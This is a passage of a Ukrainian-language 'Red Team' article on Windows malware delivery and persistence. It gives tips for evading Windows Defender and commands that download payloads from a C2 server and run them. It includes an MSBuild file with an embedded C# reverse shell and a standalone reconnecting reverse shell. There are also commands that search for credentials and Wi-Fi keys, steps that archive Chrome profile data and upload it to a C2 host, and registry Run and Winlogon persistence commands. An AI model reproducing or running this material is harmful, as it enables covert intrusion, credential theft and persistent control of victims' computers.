Техніки Malware Persistence в Windows

Malware Persistence: техніки розгортання і закріплення ШПЗ в ОС Windows

Продовжуємо цикл статей на тему Red Team. Цього разу розглянемо таку техніку як Malware Persistence,що дозволяє хакеру закріпитися у цільовій операційній системі. У цій статті розглянемо найпоширеніші шляхи та методи для встановлення персистетності в операційних системах Windows.

Вступ. Що таке персистентність?

Персистентність (від. лат persisto – залишатися, англ. persistence) – це етап закріплення, який забезпечує постійний доступ до цільової системи після перезавантаження або будь-яких інших змін. Таким чином атакуючий отримує можливість повторної експлуатації. В класифікації фреймворка з кібербезпеки MITRE ATT&CK техніки закріплення маркуються під кодовою назвою TA0003.

Здатність досягати персистентності є критично важливою в розробці ШПЗ – шкідливого або шпигунського програмного забезпечення, оскільки це дозволяє контролювати систему протягом тривалого часу.

Основним критерієм стійкості є уникнення виявлення та викриття – як користувачами, так і програмними засобами, антивірусами, системами управління і реагування на інциденти (EDR/SIEM). З цієї причини ШПЗ часто використовує комбінацію методів із застосуванням різних механізмів – від зміни записів реєстру до планування завдань, які запускаються автоматично, часто у фоновому режимі, не викликаючи підозр.

Наприклад, ШПЗ може може зловживати логікою довіри, багами і вразливостями, недосконалою архітектурою безпеки операційних систем та вбудовуватись у різноманітні системні процеси, служби і легітимні додатки, що ускладнює процес виявлення.

Доставка і розгортання ШПЗ

Процес доставки ШПЗ був частково розкритий у попередніх статтях: Техніки маскування файлів, Основи роботи з RAT, Створення інфостилера з С2 у Telegram, Malware Development. Зокрема, в останній частині наводилися конкретні приклади коду ШПЗ, яке може обійти захист, саморозгортатися й самозакріплюватися в системі.

Malware delivery and persistence - Red Team scenario
Схема доставки і розгортання ШПЗ (Malware delivery and persistence)

Деякі висновки та рекомендації перед початком роботи:

  • Файли не мають викликати підозр – це стосується іконки, ваги, назви, метаданих (включно з vendor info);
  • Файли не мають містити код (та інші елементи), який раніше був засвічений та збігається з відомими зразками шкідливого ПЗ;
  • Операції з використанням легітимних, системних утиліт (LOLBins) користуються довірою збоку ОС Windows і за певних обставин можуть дозволити обійти MOTW (Mark of the Web), UAC (User Access Control), SmartScreen та інші модулі безпеки Windows.
  • Windows може кидати у тимчасовий бан IP-адресу C2-сервера. У цьому випадку необхідно продумати грамотну захищену інфраструктуру з ротацією IP-адрес.
  • Блокуються будь-які відомі паттерни і сигнатури ШПЗ. Якщо воно було раніше “засвічене” в інтернеті, через певний проміжок часу розпізнається Windows і блокується захисником. Тому, використовуючи лише маловідомі способи та інструменти, а у першу чергу власні криптування і обфускацію, можна досягти успіху.
  • Необхідно намагатися уникати спроб збереження файлів на диску, віддаючи перевагу виконанню у пам’яті, шеллкодам та ін’єкціям (напр. з використанням MSBuild.exe, Regasm.exe, InstallUtil.exe та ін.). А також: лоадери, дроппери, криптери. Windows Defender швидко виявляє та “з’їдає” будь-яке відоме malware по сигнатурам та паттернам (IoC).
  • Windows Defender блокує Netcat та інші відомі виконувані файли, які можуть використовуватися для несанкціонованого доступу або якихось маніпуляцій.
  • Bitsadmin при завантаженні файлів іноді вимагає захищеного з’єднання HTTPS з валідним SSL/TLS і коректними заголовками, зокрема Range Header.
  • Операції виконані у межах домашньої папки користувача (%USERPROFILE%) викликають менше підозри, аніж ті, які виконуються за її межами (можна отримати повідомлення Access Denied – працює політика розмежування доступу).
  • Windows через запроваджену телеметрію активно відстежує поведінку користувача, ретельно реєструючи будь-які аномалії і підозрії дії, зокрема спроби обходу систем безпеки, виявляючи ознаки ШПЗ по своїй базі шаблонів/сигнатур, відправляючи нові зразки на повторне дослідження у свою пісочницю. Можливо тому, через певний час методи, описані у цій статті (і не тільки), можуть вже не працювати. Тому що політики безпеки та правила Windows динамічно оновлюються. Але це стосується насамперед ліцензійних продуктів з активним Windows Defender і свіжими оновленнями. На нестандартних збірках Windows, активованих через “активатори” практично усі атаки є успішними на 90%.
  • Практично усі кастомні збірки Windows без Defender або інших антивірусних систем – піддавались зламу найпростішим реверс-шелом. Це “медичний” факт. За нашими спостереженнями, таких Windows-систем на пост-радянському просторі близько 70%.
  • Windows 11 має дещо кращий захист, ніж Windows 10. В ній більше телеметрії і поведінкового аналізу, більше паттернів і сигнатур. Одним словом, ширша база.
  • Для уникнення детекції рекомендується застосовувати криптори і шифрувати корисне навантаження. Також Windows Defender дивиться на комбінацію імпортів і поведінкових патернів. Якщо вони співпадають з відомим шкідливим ПЗ – блокується.
  • Також рекомендується ставити паузу на запуск/розшифрування malware. Наприклад – 120 секунд. Іноді це може допомогти уникнути виявлення.

Деякі приклади команд завантаження і розгортання ШПЗ:

  • bitsadmin /transfer job /download /priority high https://c2-server.com/stub.exe "%USERPROFILE%\game.exe" && start /B "" "%USERPROFILE%\game.exe" – завантаження виконуваного PE-файлу з допомогою вбудованої службової утиліти Windows Bitsadmin і його запуск в тихому (фоновому) режимі;
  • curl http://с2-server.com/script.txt | powershell.exe -Command "[Console]::In.ReadToEnd() | Invoke-Expression" – завантаження скрипту і передача через пайп stdin на виконання в powershell. Файл миттєво виконується в пам’яті, без зберігання на диск (обхід AV);
  • curl -o %TEMP%\loader.exe http://X.X.X.X:XXXX/loader.exe && start /b %TEMP%\loader.exe – завантаження і виконання PE-файлу з допомогою вбудованої утиліти Windows Curl;
Приклад успішної доставки ШПЗ в ОС Windows 10

Приклад робочої техніки з MSBuild:

  • bitsadmin /transfer jon1 /download /priority high https://c2-server.com/project.proj %USERPROFILE%\project.proj && powershell -WindowStyle hidden -Command C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe %USERPROFILE%\project.proj – компіляція корисного навантаження в XML-файлі вбудованою утилітою MSBuild і його запуск.

Вміст project.proj:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Build">
    <ReverseShellTask />
  </Target>
  <UsingTask
    TaskName="ReverseShellTask"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Diagnostics;
          using System.Net.Sockets;
          using System.IO;
          using System.Text;
          using System.Threading;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;

          public class ReverseShellTask : Task
          {
            public override bool Execute()
            {
              // IPv6-декодування C2
              string c2 = DecodeIPv6C2("підставити");
              string[] parts = c2.Split(':');
              string ip = parts[0];
              int port = int.Parse(parts[1]);

              // Реверс-шелл в окремому потоці
              new Thread(() => {
                try
                {
                  TcpClient client = new TcpClient(ip, port);
                  NetworkStream stream = client.GetStream();
                  Process cmd = new Process();
                  cmd.StartInfo.FileName = "cmd.exe";
                  cmd.StartInfo.CreateNoWindow = true;
                  cmd.StartInfo.UseShellExecute = false;
                  cmd.StartInfo.RedirectStandardInput = true;
                  cmd.StartInfo.RedirectStandardOutput = true;
                  cmd.StartInfo.RedirectStandardError = true;
                  cmd.Start();
                  
                  // Асинхронне перенаправлення потоків
                  AsyncCopy(cmd.StandardOutput.BaseStream, stream);
                  AsyncCopy(cmd.StandardError.BaseStream, stream);
                  AsyncCopy(stream, cmd.StandardInput.BaseStream);
                  
                  cmd.WaitForExit();
                }
                catch { }
              }).Start();
              
              return true;
            }
            
            private void AsyncCopy(Stream source, Stream target)
            {
              new Thread(() => {
                byte[] buffer = new byte[4096];
                int read;
                while ((read = source.Read(buffer, 0, buffer.Length)) > 0)
                  target.Write(buffer, 0, read);
              }).Start();
            }
            
            private string DecodeIPv6C2(string encoded)
            {
              // Реальна логіка декодування IPv6
              return "X.X.X.X:XXXX";
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Допоміжний Python-скрипт для IPv6-декодування C2 (результат вставляється у код вище):

python3 -c ""
ip='XXX.XXX.XX.XXX'
port=XXXXX
parts=ip.split('.')
h1='{:02X}{:02X}'.format(int(parts[0]),int(parts[1]))
h2='{:02X}{:02X}'.format(int(parts[2]),int(parts[3]))
hp='{:04X}'.format(port)
print(f'::ffff:{h1}.{h2}:{hp}:{h1}.{h2}')
"

Простий реверс-шелл на С# (Windows 10/11):

using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.IO;
using System.Threading;

namespace RevShell
{
    class Program
    {
        static void Main()
        {
            while (true)
            {
                try
                {
                    TcpClient client = new TcpClient("X.X.X.X", XXXXX);
                    NetworkStream stream = client.GetStream();
                    Process cmd = new Process();
                    cmd.StartInfo.FileName = "cmd.exe";
                    cmd.StartInfo.CreateNoWindow = true;
                    cmd.StartInfo.UseShellExecute = false;
                    cmd.StartInfo.RedirectStandardInput = true;
                    cmd.StartInfo.RedirectStandardOutput = true;
                    cmd.StartInfo.RedirectStandardError = true;
                    cmd.Start();

                    new Thread(() => {
                        try { byte[] b = new byte[4096]; int r; while ((r = cmd.StandardOutput.BaseStream.Read(b, 0, b.Length)) > 0) stream.Write(b, 0, r); } catch {}
                    }).Start();
                    new Thread(() => {
                        try { byte[] b = new byte[4096]; int r; while ((r = cmd.StandardError.BaseStream.Read(b, 0, b.Length)) > 0) stream.Write(b, 0, r); } catch {}
                    }).Start();

                    byte[] input = new byte[4096];
                    int read;
                    while ((read = stream.Read(input, 0, input.Length)) > 0)
                    {
                        cmd.StandardInput.BaseStream.Write(input, 0, read);
                        cmd.StandardInput.BaseStream.Flush();
                    }

                    cmd.WaitForExit();
                    stream.Close();
                    client.Close();
                }
                catch { }
                Thread.Sleep(5000); // перепідключення кожні 5 сек
            }
        }
    }
}

Компіляція: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:winexe /out:C:\testexp\revshell.exe C:\testexp\revshell.cs

Змінні директорій Windows:

  • %USERPROFILE%
  • %APPDATA%
  • %LOCALAPPDATA%
  • %PROGRAMDATA%
  • %WINDIR%
  • %TMP% або %TEMP%
  • %PROGRAMFILES(X86)%
  • %PROGRAMFILES%
  • %SYSTEMROOT%

Збір даних (Reconnaissance)

Отже, ви проникли в систему. Перед тим як починати закріплюватися, слід уважно проаналізувати систему, дізнатись які права у поточного користувача, які типи облікових записів присутні в системі та багато іншого. Нижче перелік команд для комплексного збору даних.

Інформація про систему:

  • systeminfo – загальна інформація про систему;
  • systeminfo | findstr /B /C:"OS Name" /C:"OS Version" – вивід окремих даних з системної інформації;
  • hostname – хост-ім’я комп’ютера;
  • ver – отримати версію збірки операційної системи;
  • set – отримати список системних шляхів для виконання;
  • driverquery – вивести список встановлених драйверів в системі.

Аналіз користувачів і привілеїв:

  • whoami – виведе ім’я поточного користувача;
  • whoami /user – назва та SID облікового запису користувача;
  • whoami /all – розгорнута інформація по користувача;
  • whoami /priv – список привілеїв користувача, якщо є SeImpersonatePrivilege, SeDebugPrivilege, SeBackupPrivilege тощо — можна ескалувати (наприклад, через Potato атаки);
  • whoami /groups – список груп користувача, якщо там є Medium Mandatory Level, то деякі команди потребуватимуть схвалення UAC. І навпаки High Mandatory Level дає високі права на виконання без UAC;
  • cd %appdata% && whoami – показує користувачів, які можуть виконувати команди у даній директорії;
  • net user – виводить список всіх користувачів системи;
  • net localgroup – показує список всіх локальних груп;
  • net accounts – показує налаштування облікових записів, наприклад довжина паролів і т.п.;
  • net user /<domain> – виводить список користувачів у конкретному домені;
  • net localgroup Administrators – покаже список облікових записів, які входять в групу адміністраторів;
  • net user Administrator – перевірити статус користувача;
  • cmdkey /list – покаже облікові дані, якщо вони були збережені;
  • quser – залогінені користувачі;
  • net accounts – політика паролів.
  • net group

Аналіз прав:

  • icacls C:\Users\* – права на папки користувачів;
  • icacls "C:\Windows\System32\OpenSSH\sshd.exe" – перевірити права власності на заданий файл;
  • icacls "C:\Program Files\*" /T – показує права на папки додатків у заданій директорії;
  • icacls "C:\ProgramData\*" – права на ProgramData;
  • sc sdshow sshd – перевірити права на конфігурацію заданого сервісу;
  • icacls C:\Windows\System32\config\SAM
  • icacls C:\Windows\System32\config\SYSTEM

Аналіз реєстру:

  • reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" – список сторонніх додатків в автозавантаженні;
  • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run – список системних автозавантажень;
  • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA – конфігурація UAC;
  • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin – аналіз UAC;
  • reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
  • reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers" /s
  • reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount – скільки логінів кешовано;
  • reg query "HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions" /s
  • reg query "HKCU\Software\SimonTatham\PuTTY\SshHostKeys"
  • reg query "HKCU\Software\OpenSSH\Agent\Keys"
  • reg query "HKCU\Software\TightVNC\Server"
  • reg query "HKCU\Software\ORL\WinVNC3"
  • reg query "HKCU\Software\OpenVPN-GUI\configs"

Аналіз завдань:

  • schtasks /query /fo LIST /v – список запланованих завдань;
  • schtasks /query /fo LIST /v | findstr "Task To Run" – заплановані завдання;
  • schtasks /query /fo LIST /v | findstr "Run As User" – завдання від різних користувачів;

Аналіз процесів:

  • tasklist – список всіх активних процесів;
  • tasklist /fi "imagename eq svchost.exe" – проаналізувати процеси вказаного виконуваного додатка;
  • tasklist /v /fo list – детальна інформація по процесам;
  • tasklist /v /fi "username eq system" – аналіз процесів SYSTEM;
  • tasklist | findstr processname – пошук процесів;
  • tasklist /v – детальний вивід по списку процесів;
  • tasklist /v | findstr /i "high system" – перевірити чи є процеси з високими правами;
  • taskkill /PID 567 – убити завдання під вказаним номером.

Аналіз системних служб, додатків, сервісів:

  • sc query type= service state= all | findstr SERVICE_NAME – список системних служб;
  • sc qc sshd – перевірка деталей служби, під ким працює, системний шлях і т.д.;
  • get-mppreference – інформація про Windows Defender;
  • wmic service get name,startname | findstr /i /v "LocalSystem|NT AUTHORITY" – знайти сервіси по заданій групі;
  • driverquery /v – список драйверів з їх розташуванням;
  • manage-bde -status – статус шифрування BitLocker, дані накопичувача;
  • bcdedit /enum {current} – аналіз Windows Boot Loader;
  • wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState – антивірус.

Аналіз інтернет-мережі:

  • ipconfig – аналіз мережі;
  • ipconfig /all – повний аналіз мережевих адаптерів, інтерфейсів;
  • ipconfig /flushdns – очистити кеш DNS;
  • ipconfig /displaydns – показати кеш DNS;
  • arp -a – вивід ARP-таблиці;
  • netstat -ano – показує всі активні мережеві порти;
  • netstat -an | findstr XXXX – перевірка стану портів;
  • netstat -anop tcp – показати список TCP-з’єднань;
  • netstat -anop udp – показати список UDP-з’єднань;
  • netstat -abon – вивести повну інформацію по мережевим з’єднанням;
  • route print – показує таблицю маршрутизації;
  • route delete – видаляє маршрут;
  • route add – додає маршрут;
  • nslookup 127.0.0.1 – показує DNS локального комп’ютера;
  • nslookup example.com – отримати сервери імен (NS) для вказаного домена;
  • nslookup examaple.com 1.1.1.1 – отримати NS для вказаного домена використовуючи DNS-сервер Cloudflare;
  • getmac – отримати MAC-адреси мережевих пристроїв;
  • wmic nic get name, netconnectionid – показати TAP-адаптери;
  • netsh wlan show profiles – Wi-Fi профілі;
  • netsh wlan show profile name="<name>" key=clear – аналіз вказаного профілю Wi-Fi, показ пароля;
  • netsh advfirewall show allprofiles – аналіз профілю фаєрвола;
  • net share – спільні мережеві папки;
  • qwinsta – активні RDP-сесії;
  • ping <host> – перевірка з’єднання;
  • tracert <host> – показує маршрут через який проходять пакети до заданого хосту.

Робота з файлами і папками:

  • mkdir directory – створити папку з ім’ям directory;
  • rmdir directory – вилучає названу папку;
  • tree c:\users – відображає папку в графічно-текстовому структурному дереві каталогів;
  • copy c:\usesr\windows10\test.txt c:\ProgramData – копіює зазначений файл в іншу директорію;
  • move c:\tools c:\temp – переміщай файли й змінює ім’я файлів та папок;
  • type test.txt – відображає зміст файлів (аналог cat);
  • dir /a – показати приховані файли в директорії;
  • dir /s – показати файли в поточній директорії та всіх підпапках;
  • erase text.txt – видалити файл;
  • del text.txt – видалити файл;

Дані інтернет-браузерів:

  • dir %LOCALAPPDATA%
  • dir "%LOCALAPPDATA%\Microsoft\Edge\User Data" – пошук локальних даних браузера Microsoft Edge.
  • dir "%LOCALAPPDATA%\Google\Chrome\User Data" – пошук локальних даних браузера Google Chrome.
  • dir "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data" – пошук локальних даних браузера Brave.
  • dir "%LOCALAPPDATA%\Yandex\YandexBrowser\User Data" – пошук локальних даних браузера Yandex.
  • dir "%LOCALAPPDATA%\librewolf\Profiles" – пошук локальних даних браузера Librewolf.

Інформація про додатки:

  • dir %APPDATA%
  • dir "C:\Program Files"
  • dir "C:\Program Files (x86)"
  • reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayName
  • reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayName
  • reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayName
  • wmic product get name,version – список встановленого ПЗ в системі.
  • wmic qfe list – список встановлених патчів/оновлень Windows (hotfixes).
  • echo %PATH% – аналіз системних шляхів службових додатків.

Користувацькі папки:

  • dir %USERPROFILE%
  • dir %USERPROFILE%\Documents
  • dir %USERPROFILE%\Downloads
  • dir %USERPROFILE%\Desktop
  • dir %USERPROFILE%\Pictures
  • dir %USERPROFILE%\Videos

Пошук/аналіз цікавих файлів та директорій:

  • type C:\Windows\System32\drivers\etc\hosts – вивід вмісту системного файлу /etc/hosts;
  • dir C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe – перевірка розташування і наявності PowerShell;
  • dir C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe – легітимний компілятор від Microsoft (.NET Framework), який є на кожній Windows з встановленим .NET. Він є в списку довірених (LOLBIN — Living Off the Land Binary);
  • dir C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  • dir C:\Users – домашні папки користувачів системи;
  • where /r C:\ ssh-keygen.exe
  • where /r C:\ ssh.exe
  • dir /a %APPDATA%\Microsoft\Protect
  • dir /a %APPDATA%\Microsoft\Credentials
  • findstr /s /i cpassword \\%USERDNSDOMAIN%\SYSVOL\*.xml
  • type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt – історія PowerShell-консолі;
  • dir /s /b C:\unattend.xml C:\sysprep.xml C:\Windows\Panther\unattend.xml – файли unnattend.xml;
  • dir "%LOCALAPPDATA%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings"
  • dir "%LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes*\LocalState\plum.sqlite" – Sticky Notes;
  • where wsl.exe – пошук WSL;
  • for /R C:\Users %f in (*.xml *.ini *.txt *.config *.conf *.cfg *.yml *.log) do @findstr /I /M /C:"password" /C:"passwd" /C:"secret" /C:"apikey" /C:"token" "%f" 2>nul
  • findstr /S /I /M /C:"password" /C:"passwd" C:\Users\Admin\*.*
  • findstr /S /I /M /C:"password" /C:"passwd" C:\Tools\*.* C:\Scripts\*.* C:\Temp\*.*
  • findstr /S /I /M /C:"password" /C:"connectionString" C:\inetpub\*.config C:\inetpub\*.xml
  • findstr /S /I /M /C:"password" C:\xampp\*.conf C:\xampp\*.ini C:\wamp\*.conf

Збір даних з допомогою WMI:

  • wmic process get CSName,Description,ExecutablePath,ProcessId – список процесів;
  • wmic useraccount list full – список облікових записів;
  • wmic group list full – список груп;
  • wmic netuse list full – список мережевих з’єднань;
  • wmic qfe get Caption,Description,HotFixID,InstalledOn – список встановлених оновлень;
  • wmic startup get Caption,Command,Location,User – список додатків в автозапуску.

Інші операції:

  • shutdown /s /f /t 0 – вимкнути систему негайно (без очікування завершення процесів);
  • shutdown /r /f /t 0 – перезапустити систему негайно.
  • setx PATH "%PATH%;C:\Program Files (x86)\Nmap" /M – додати шлях розташування додатка в середовище змінних Windows.

Корисні команди PowerShell:

  • powershell -ep bypass – перейти в оболонку powershell (не виходячи з поточної сесії cmd);
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass – те саме, якщо попередня команда не спрацювала;
  • powershell Start-Process powershell -Verb RunAs – відкрити нове вікно PowerShell з права адміміністратора (потрібно схвалити UAC);
  • Start-Process <command> -Verb runAs – запуск команд в PowerShell від імені адміністратора;
  • Set-ExecutionPolicy RemoteSigned -Scope CurrentUser – дозволити виконання скриптів .ps1 в PowerShell;
  • Start-Process "GoogleUpdate.exe" -WindowStyle Hidden – запуск через PowerShell з прихованням вікна;
  • Get-СomputerInfo – інформація про систему;
  • Get-LocalUser – переглянути список локальних користувачів;
  • $env:Path – перегляд системних шляхів;
  • Get-Clipboard – отримати дані з буферу обміну;
  • Get-Location – показує повний шлях до поточної директорії (аналог pwd);
  • Get-Process – вивести список усіх запущених процесів;
  • Get-Process -Name chrome – знайти процеси за вказаним фільтром;
  • Get-Process | Out-Gridview – переглянути результати виводу у зручному графічному вікні;
  • Get-Service – показує усі сервіси в системі;
  • Get-Service BITS – інформація по вказаному сервісу;
  • Get-Service | Export-Csv result.csv – створити файл з виводом заданої команди;
  • Get-Service | Where-Object -Property Status -eq Stopped – вивести список зупинених сервісів;
  • Get-ScheduledTask – показати список запланованих завдань;
  • Get-HotFix – отримати список встановлених в системі оновлень (патчів);
  • Get-HotFix | OutFile hotfix.txt – вивести вміст команди у файл;
  • Get-Content result.csv – вивести вміст файлу у командному рядку (аналог cat/type);
  • Get-NetIPConfiguration – інформація про мережу;
  • Get-NetIPAddress – IP-адреси мережевих інтерфейсів;
  • Get-NetTCPConnection – показати усі TCP-з’єднання;
  • Get-NetTCPConnection | Where-Object State -eq “Listen” | Measure-Object – пошук прослуховуваних портів;
  • Get-NetDomainController – інформація по контролеру домену;
  • Get-NetUser – вивести список користувачів домену;
  • Get-NetComputer – eнумерація систем, підключених до домену;
  • Get-NetGroup – енумерація груп домену;
  • Get-NetGroupMember "Domain Admins" – перерахувати членів вказаної групи;
  • Get-NetGPO – енумерація групових політик домену;
  • Get-NetDomainTrust – вивести список усіх доменів, до яких ви маєте доступ;
  • Find-LocalAdminAccess – вивести список систем, до яких ви маєте доступ локального Адміністратора;
  • Find-DomainShare – розшарені ресурси;
  • ps | Sort-Object WorkingSet -Descending | Select-Object -First 5 – показати топ-5 процесів, які найбільше споживають пам’яті;
  • Get-FileHash .\file.iso – порахувати хеш SHA-256 для файлу;
  • Get-FileHash .\file.iso -Algorithm MD5 – порахувати MD-5 для файлу;
  • (Get-Item .\file.iso).CreationTime.Year – отримати рік створення файлу;
  • Get-Item -Path "C:\House\house_log.txt" -Stream * – переглянути усі альтернативні потоки даних (ADS) для заданого файлу;
  • Get-Content -Stream Zone.Identifier .\file.iso – аналіз Mark of The Web (MOTW) файлу через PowerShell;
  • [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gQXJjaCBMaW51eCE=")) – дешифрування тексту з Base64;
  • (Invoke-WebRequest -Uri "https://ifconfig.me/ip").Content – зробити запит до вказаного URL;
  • Get-Content access.log -Wait – переглядати вміст файлу в режимі онлайн, наприклад читання логів (аналог tail -f в Linux);
  • (New-Object System.Net.WebClient).Downloadfile('http://example.com/file.txt', 'file.txt') – завантажити файл з інтернету;
  • Invoke-WebRequest -Uri "https://www.7-zip.org/a/7zr.exe" -OutFile "C:\Users\windows\7z.exe" – завантажити файл за вказаним посиланням та зберегти у задану папку із вказаним ім’ям;
  • Invoke-WebRequest -Uri "http://www.7-zip.org/a/7zr.exe" -OutFile "C:\Users\windows\7z.exe" -UserAgent "Mozilla" -UseBasicParsing – завантажити і зберегти файл із застосуванням вказаного user-agent;
  • powershell -Command "Expand-Archive -Path 'C:\Users\Public\file.zip' -DestinationPath 'C:\Users\Public' -Force" – розпакувати zip-архів;
  • powershell -ExecutionPolicy Bypass -File .\file.ps1 – обійти політику безпеки щодо виконання файлу;
  • Set-ExecutionPolicy Bypass -Scope Process – ще один спосіб як вимкнути політику безпеки виконання файлів в Powershell;
  • dir | Format-List * – отримати якомога більше відомостей про файли у папці;
  • 1..1024 | %{ echo ((New-Object Net.Sockets.TcpClient).Connect("10.0.2.8", $_)) "Open port on - $_"} 2>$null – просканувати діапазон портів на вказаній IP-адресі через TCP-сокет;
  • 1..15 | %{echo "10.0.2.$_"; ping -n 1 10.0.2.$_ | Select-String ttl} 10.0.2.1 – пропінгувати заданий діапазон IP-адрес;
  • Get-ChildItem C:\ -Recurse -Filter "*bak*" – рекурсивний пошук файлів резервних копій;
  • Get-ChildItem C:\ -Recurse | Select-String -Pattern “API_KEY” – реурсивний пошук файлів, що містять рядок API_KEY.
  • exit – вийти з сесії і закрити вікно PowerShell.
ЧИТАЙТЕ ТАКОЖ:  Методології у сфері ІТ: ITIL, COBIT, PRINCE2 та інші

Робота зі службами:

  • # зупинка служб
    net stop "service"
    net stop "OpenVPNServiceInteractive"
    net stop "OpenVPNServiceLegacy"
  • # виключення автозапуску служб
    sc config "OpenVPNService" start= disabled
    sc config "OpenVPNServiceInteractive" start= disabled
    sc config "OpenVPNServiceLegacy" start= disabled
  • # видалення служб
    sc delete "OpenVPNServiceInteractive"
    sc delete "OpenVPNServiceLegacy"
  • # включення і налаштування служб
    sc config "OpenVPNService" start= auto
    net start OpenVPNService

Також раджу ознайомитись з публікаціями:

Вивантаження даних

Зібрані дані можна вивантажити на C2-сервер. Нижче подається простий приклад.

Копіюємо і створюємо архів:

  • robocopy "C:\Users\username\AppData\Local\Google\Chrome\User Data\Default" "%TEMP%\chrome_tmp" /E /XD Cache /R:0 /W:0
  • tar -C "%TEMP%\chrome_tmp" -cf "%TEMP%\chrome_data.tar" .

або

  • powershell -Command "Compress-Archive -Path \"$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\*\" -DestinationPath \"$env:TEMP\network.zip\" -Force"

Піднімаємо на C2-сервері прийом файлів на публічному порту:

  • nc -l -p XXXXX > chrome_data.tar

або (рекомендовано):

python3 -c "
import http.server, socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
with open('chrome_data.tar', 'wb') as f:
f.write(self.rfile.read(length))
self.send_response(200)
self.end_headers()
httpd = socketserver.TCPServer(('0.0.0.0', 65331), Handler)
httpd.serve_forever()
"

На цільовій машині запускаємо відправку даних на C2:

  • curl -T "%TEMP%\chrome_data.tar" http://X.X.X.X:XXXXX/upload --connect-timeout 10 --max-time 60

Потрібно дочекатися завершення процесу пересилання. Файл повинен опинитися на вашому сервері.

Закріплення в системі (Persistence)

Для подальших досліджень, аби ШПЗ підтримував постійний з’язок з С2, навіть після обриву активного з’єднання, необхідно досягнути стійкості в системі.

Нижче пропонуються різні способи як саме цього досягти.

Закріплення через автозавантаження в реєстрі

Реєстр Windows (Windows Registry) – це ієрархічна структурована база даних, у якій містять усі налаштування та параметри операційної системи. Реєстр був створений з метою систематизації інформації, раніше розміщеної в багатьох файлах з розширенням INI, введення якого в реєстр дозволило створити єдиний механізм для запису та читання налаштувань, а також усунути проблеми, пов’язані з файловою системою FAT16. Ця система зрештою поступилася місцем більш ефективній NTFS, однак реєстр залишається важливим завдяки підтримці зворотної сумісності і залишається невід’ємною частиною всіх версій операційної системи Windows.

В реєстрі Windows існує щонайменше 4 гілок, яківідповідають за автоматичний запуск процесів при входу користувача в систему:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run – запуск під час входу поточного користувача ОС;
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run – запуск під час входу будь-якого користувача ОС;
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce – одноразовий запуск під час входу поточного користувача, а потім видалення запису в реєстрі;
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce – запуску під час будь-якого користувача, а потім видалення запису в реєстрі.

Переглянути ці гілки можна у системному редакторі реєстру, виконавши команду – regedit.

Підказка: Додавання записів у гілку реєстру поточного користувача HKCU не вимагають прав Адміністратора. Тим часом як записи для HKLM додаються тільки Адміністратором.

Для забезпечення персистентності у HKCU ми можемо додати такі команди:

  • reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdater" /t REG_SZ /d "C:\Users\username\games.exe" /f – запускає виконуваний файл при кожному логіні користувача;
  • reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" – перевірити активні автозавантаження;
  • reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdater" /f – видалити вказаний запис із автозавантаження.

Можна також додати запис реєстру в WinLogon – компонент Windows, який відповідає за процес входу користувача в систему. За автозавантаження в ньому відповідають ключі Userinit та Shell.

  • reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit – перегляд запису.
  • reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, malware.exe" /f – додавання шкідливого виконуваного файлу.
  • reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
  • reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, malware.exe" /f

Ще одним способом закріплення є створення змінної UserInitMprLogonScript в гілці HKCU\Environment:

Інші шляхи реєстру для виконання корисних навантажень:

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
